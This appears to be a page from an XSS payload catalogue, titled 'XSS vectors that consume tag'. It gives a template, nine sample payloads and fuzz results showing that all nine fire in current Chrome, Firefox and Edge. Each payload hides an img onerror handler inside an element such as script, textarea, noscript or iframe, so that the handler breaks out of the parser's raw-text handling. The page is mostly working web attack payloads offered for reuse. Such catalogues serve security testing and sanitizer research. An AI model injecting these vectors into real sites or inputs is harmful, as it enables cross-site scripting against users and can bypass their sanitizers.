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XSS vectors that consume tag

Chrome logo 9
Firefox logo 9
Edge logo 9

This vector shows which events fire without user interaction

Y4tacker
Created byY4tacker
Created Nov 5, 2024
Updated May 28, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
Template used:
<$[data1]><img title="</$[data1]><img src=x onerror=log('$[data1]')>"></$[data1]>

Sample payloads

<iframe><img title="</iframe><img src=x onerror=alert('iframe')>"></iframe>
<noembed><img title="</noembed><img src=x onerror=alert('noembed')>"></noembed>
<noframes><img title="</noframes><img src=x onerror=alert('noframes')>"></noframes>
<noscript><img title="</noscript><img src=x onerror=alert('noscript')>"></noscript>
<script><img title="</script><img src=x onerror=alert('script')>"></script>
<style><img title="</style><img src=x onerror=alert('style')>"></style>
<textarea><img title="</textarea><img src=x onerror=alert('textarea')>"></textarea>
<title><img title="</title><img src=x onerror=alert('title')>"></title>
<xmp><img title="</xmp><img src=x onerror=alert('xmp')>"></xmp>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 9 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated31 Jan 2026
Found 9 results
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Firefox logo
Firefox 147.0 desktop macOS 10.15
Updated30 Jan 2026
Found 9 results
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Firefox logo
Firefox 115.0 desktop Windows NT 6.1older version
Updated13 Sept 2025
Found 9 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 9 results
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